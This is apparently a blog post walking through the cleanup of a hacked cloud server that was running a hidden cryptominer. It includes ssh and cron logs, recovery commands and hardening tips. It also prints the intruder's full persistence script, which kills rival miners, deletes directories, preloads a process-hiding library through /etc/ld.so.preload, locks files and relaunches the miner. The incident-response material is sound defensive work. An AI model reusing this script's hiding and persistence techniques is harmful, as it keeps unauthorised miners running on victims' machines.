What To Do If Your Server Is Hacked? Follow My Steps

• 1. Server Intrusion Symptoms
• 2. Server Investigation and Response
  • 2.1 Possible Causes of Server Intrusion
  • 2.2 Investigation and Response Steps
• 3. Lessons Learned from This Intrusion
• 4. Insights from This Server Intrusion

In the following text, locking files and directories means adding certain attributes to them, such as read-only. chattr +ia

1. Server Intrusion Symptoms

Recently, a friend of mine’s server (which he built himself) seems to have been hacked, with the specific symptom being: the server’s CPU usage is constantly at 100%, and the load is quite high. The services on the server cannot function normally.

My friend tried to deal with it for a while without success, and I thought to myself, I’m not a security expert, how could I help? But my friend offered a hefty price, a meal at Haidilao, and I bowed to reality. I started to take a look.

2. Server Investigation and Response

2.1 Possible Causes of Server Intrusion

1. The server’s SSH password is set very simply.
2. The Tencent Cloud security group has a very wide range.
3. Using Baota, the password for the Baota panel is also very simple (this should not be the entry point for the intrusion).

2.2 Investigation and Response Steps

1. ps -ef / top to find the service with the largest resource usage

Problem symptom

ps/top commands have already been replaced.

2. Look for detailed intrusion traces last or grep ‘Accepted’ /var/log/secure.

Problem symptom

[root@VM-12-12-centos ~]# grep 'Accepted'  /var/log/secure 
Aug 26 21:51:37 VM-12-12-centos sshd[19822]: Accepted password for root from 34.215.138.2 port 36720 ssh2
Aug 27 08:52:05 VM-12-12-centos sshd[3053]: Accepted password for root from 127.0.0.1 port 57534 ssh2
Aug 27 08:58:50 VM-12-12-centos sshd[7038]: Accepted password for root from 127.0.0.1 port 57548 ssh2
Aug 27 09:10:02 VM-12-12-centos sshd[14830]: Accepted publickey for lighthouse from 106.55.203.49 port 44204 ssh2: RSA SHA256:123456/UIbl8
Aug 27 09:10:03 VM-12-12-centos sshd[14913]: Accepted publickey for lighthouse from 81.69.102.49 port 60820 ssh2: RSA SHA256:123456/UIbl8
Aug 27 09:14:08 VM-12-12-centos sshd[17307]: Accepted password for root from 127.0.0.1 port 57690 ssh2
Aug 27 09:34:22 VM-12-12-centos sshd[29150]: Accepted publickey for lighthouse from 106.55.203.55 port 38044 ssh2: RSA SHA256:123456/UIbl8
Aug 27 09:34:23 VM-12-12-centos sshd[29233]: Accepted publickey for lighthouse from 81.69.102.60 port 51190 ssh2: RSA SHA256:123456/UIbl8

Lighthouse Tencent Cloud lightweight server

Here we can see that there are some foreign IPs 34.215.138.2 that successfully logged in, these IPs are not our normal logins. In the /var/log/secure log, I saw that the IP 34.215.138.2 attempted to log in less than 500 times and successfully cracked it.

Response Measures

Here we immediately took the first measure,

1. Restricted SSH login IP in the Tencent Cloud security group, previously the security group allowed all IPs for SSH.
2. Changed the SSH ROOT password.
3. Backed up /root/.ssh/authorized_keys and cleared it.

[root@VM-12-12-centos ~]# cp -rp   /root/.ssh/authorized_keys  /root/.ssh/authorized_keys.bak
cp: cannot create regular file ‘/root/.ssh/authorized_keys.bak’: Permission denied

At this point, we encountered a permission issue, which we will elaborate on later, because we have already restricted the source IP, so we can handle this later.

3. Check for recently added users

Problem symptom

cat /etc/passwd

Response Measures

Lock the user

[root@VM-12-12-centos ~]# usermod  -L  sys1  

4. I do not plan to find processes (as I am already creating a new system with the same version to copy the top and ps commands, which will take a little while; we will take this time to look at other things), because my friend had restarted the server before and found that the server would have high load after it started for a while. I believe the intruders must have placed some scheduled tasks and startup scripts.

Problem symptom

Scheduled tasks

crond reads the configuration files from the following paths:

• /var/spool/cron/, written by crontab -e, configuration files do not need to specify users
• /etc/crontab, can only be edited by root, configuration files must specify users
• /etc/cron.d/, create scheduled task files in this folder, configuration files must specify users
• /etc/cron.*

/var/spool/cron/ not found (this will be mentioned later as a distraction)

/etc/crontab not found (this will be mentioned later as a distraction)

However, I kept seeing tasks executing in /var/log/cron. Every 5 minutes.

Aug 27 22:00:01 VM-12-12-centos CROND[16839]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M                                                                                                    )
Aug 27 22:00:01 VM-12-12-centos CROND[16840]: (root) CMD (/usr/local/qcloud/YunJing/YDCrontab.sh > /dev/null 2>&1)
Aug 27 22:00:01 VM-12-12-centos CROND[16842]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root                                                                                                   )

Aug 27 22:05:01 VM-12-12-centos CROND[17486]: (root) CMD (/usr/lib/mysql/mysql;^Mno crontab for root                                                                                                   )
Aug 27 22:05:01 VM-12-12-centos CROND[17487]: (root) CMD (/sbin/httpss >/dev/null 2>&1;^M                                                                                                    )

Response Measures

Here we first performed the operation of deleting /usr/lib/mysql/mysql and /sbin/httpss. When deleting, it still prompted that there were no permissions. We know these files should be locked, so I started to unlock them, and we found that chattr was also replaced and locked. So we couldn’t proceed.

Startup scripts

/etc/rc.local, we also found a script.

[root@VM-12-12-centos ~]# cat /etc/rc.local 
#!/bin/bash

# THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES
#
# It is highly advisable to create own systemd services or udev rules
to run scripts during boot instead of using this file.
#
# In contrast to previous versions due to parallel execution during boot
# this script will NOT be run after all other services.
#
# Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure
# that this script will be executed during boot.

/usr/bin/0f4f80f9ab start

But this file seems to be non-existent, so we commented it out.

5. Restore modified top, ps, chattr, lsattr.

• First, we copied chattr and lsattr from a machine with the same version. We need to operate this first, because our top and ps are locked.
• I uploaded the file to the /tmp directory, then added executable permissions, and then unlocked /usr/bin/chattr.

/tmp/chattr -ai /usr/bin/chattr

• After executing this, I still found that I couldn’t replace /usr/bin/chattr. It took a while to realize that the intruder might have not only locked the file but also locked /usr/bin/.
• Unlock the directory

/tmp/chattr -ai /usr/bin/

• Now I can replace /usr/bin/chattr.
• Next, based on this, we restored top, ps, and lsattr.

Partial screenshots

3. Lessons Learned from This Intrusion

1. ps, top, chattr, lsattr

In scenarios where these commands have been replaced and we cannot restore them, we can copy the same version commands from another machine and place them in other directories to use these commands to unlock the files that the intruder has replaced and locked. Note that some intruders will not only lock at the file level but also at the directory level of the current file. I was confused about this for a while.

2. Hidden file contents

In the previous text, when I executed crontab -l and cat to view the files under /etc/cron.d/, I found that the files had no content.

In fact, I did not know what special characters were used or whether something was hidden; there were indeed scheduled tasks.

Example:

This configuration caused cat/more to be unable to view it; upon checking again today, the file might have been treated as a data file because when I checked the file, its attribute was data. Then the file contained special characters, which caused it to be hidden.

3. One of the scripts.

[root@VM-12-12-centos etc]# cat /.Recycle_bin/_bt_etc_bt_.sftp_bt_.sh_t_1661768469.9859464 
#!/bin/sh
while test 1 = 1
do
sleep 30
pkill -f main
killall main
killall sprshduerjsaia
pkill -f sprshduerjsaia
killall dr64
pkill -f dr64
killall .report_system
pkill -f .report_system
killall sshc
pkill -f sshc
pkill -f memory
killall memory
killall warmup
killall koko
killall kthreaddk
killall systemc
killall cront
killall xm64_linux
pkill -f xm64_linux
pkill -f ddrirc
killall ./-bash
pkill -f ./-bash
killall kworkers
killall dbus
pkill -f dbus
killall linuxservice
killall linuxservice
killall watchdog
pkill -f watchdog
killall 32678
killall dhpcd
pkill -f dhpcd
killall linux_amd64
pkill -f linux_amd64
killall xredis
pkill -f xredis
killall Linux2.6
killall .chornyd
pkill -f .chornyd
killall Opera
pkill -f Opera
killall libertyd
pkill -f libertyd
killall rcubind
pkill -f rcubind
killall clamscan
pkill -f clamscan
killall pnscan
pkill -f pnscan
killall zzh
pkill -f zzh
killall bioser
pkill -f bioser
rm -rf /root/.configrc/
rm -rf /tmp/.X26-unix/
rm -rf /tmp/.bash/
rm -rf /root/.bash/
rm -rf /root/.cache/
rm -rf /tmp/.cache/
rm -rf /dev/shm/.ssh/
rm -rf /etc/.etcservice/linuxservice
rm -rf /etc/.vhost/netvhost
rm -rf /tmp/up.txt
rm -rf /var/tmp/.update/
rm -rf /var/tmp/.systemd/
rm -rf /usr/sbin/.bash./.bash/
rm -rf /etc/master
rm -rf /usr/bin/busybox
rm -rf /bin/sysmd
rm -rf /tmp/.mx/
rm -rf /dev/shm/.mx/
rm -rf /usr/bin/xrig
rm -rf /etc/32678
rm -rf /root/c3pool/
rm -rf /usr/bin/.sshd/
rm -rf /tmp/div
systemctl stop c3pool_miner.service
systemctl stop pwnriglhttps.service
systemctl stop cryto
systemctl stop scan
systemctl stop bot
systemctl stop myservice.service
systemctl stop netns.service
systemctl stop cryptsetup.service
echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload
lockr +ai /etc/ld.so.preload >/dev/null 2>&1
chmod 777 /usr/lib/mysql/*
/usr/lib/mysql/./mysql
done

We can see that this script is actually continuously modifying the contents of /etc/ld.so.preload. It is also shutting down some scanning software and system services.

In the dynamic linking library loading process of Linux operating systems, the dynamic linker reads the value of the LD_PRELOAD environment variable and the contents of the default configuration file /etc/ld.so.preload, and preloads the dynamic libraries read, even if the program does not depend on these dynamic libraries, the dynamic libraries specified in the LD_PRELOAD environment variable and the /etc/ld.so.preload configuration file will still be loaded, and their priority is higher than that defined by the LD_LIBRARY_PATH environment variable, so they can be loaded before the user calls the dynamic libraries. — This paragraph is quoted from “Be Aware of Backdoors Exploiting Linux Preloading Malicious Dynamic Link Libraries”

I have deleted the /usr/local/lib/libprocesshider.so file, and after that, every time I execute a command, there will be this error.

After clearing the file /etc/ld.so.preload, I found that it was fine for a while, but it still appeared again. I checked the /etc/ld.so.preload file, and it wrote /usr/local/lib/libprocesshider.so again. I suspected there were still scheduled tasks, but after searching for a while for scheduled tasks, I still found nothing. Later, when checking for abnormal processes, I saw this process

I found that this script was continuously executing the above contents. After killing this process, I deleted the script.

4. Insights from This Server Intrusion

1. Make good use of the security group provided by the cloud vendor. For critical ports, minimize the allowance rules.

2. Increase the complexity of some server-related passwords.

3. Increase monitoring of some critical files. (Monitor md5 values through monitoring software)

• /etc/passwd
• /etc/shadow
• /etc/group
• /root/.bash_history
• /root/.ssh/authorized_keys
• /etc/ssh/sshd_config
• /etc/profile
• /var/spool/cron/root
• /etc/crontab
• /etc/ld.so.preload
• /etc/rc.local
• lsof
• ps
• netstat
• top
• ls
• pstree
• last
• history
• sudo
• password
• chattr
• lsattr

4. After a server intrusion, how should we respond best?

https://cloud.tencent.com/document/product/296/9604 https://help.aliyun.com/document_detail/40994.htm?spm=a2c4g.11186623.0.0.75c56956NVPBST

1. If the server has SSH remote login enabled, set restrictions on login (security group or service), allowing only your own IP. Look for detailed intrusion traces last or grep ‘Accepted’ /var/log/secure

/root/.ssh/authorized_keys /etc/passwd These files can also be checked. Lock any newly created users.

1. If the server can disable external access, do so. Set up at the security group level, or through routing or NAT.
2. First, check if the ps/top commands have been tampered with. If so, copy them from other normal machines to the server. Then check for abnormal processes. Also, check if /etc/ld.so.preload has been tampered with. If so, remember to clear its contents, then delete or rename the corresponding files.

If you encounter files that cannot be deleted or modified during use, use chattr -ia filename. If chattr has also been tampered with, you need to copy it from another machine and restore it.

1. If the above does not yield results, you can indirectly check for abnormal connections through netstat to query abnormal processes.
2. Check startup and crontab related contents.
3. Check for abnormal processes.

These are the handling processes for this intrusion and some insights gained; I will continue to supplement as I learn new information.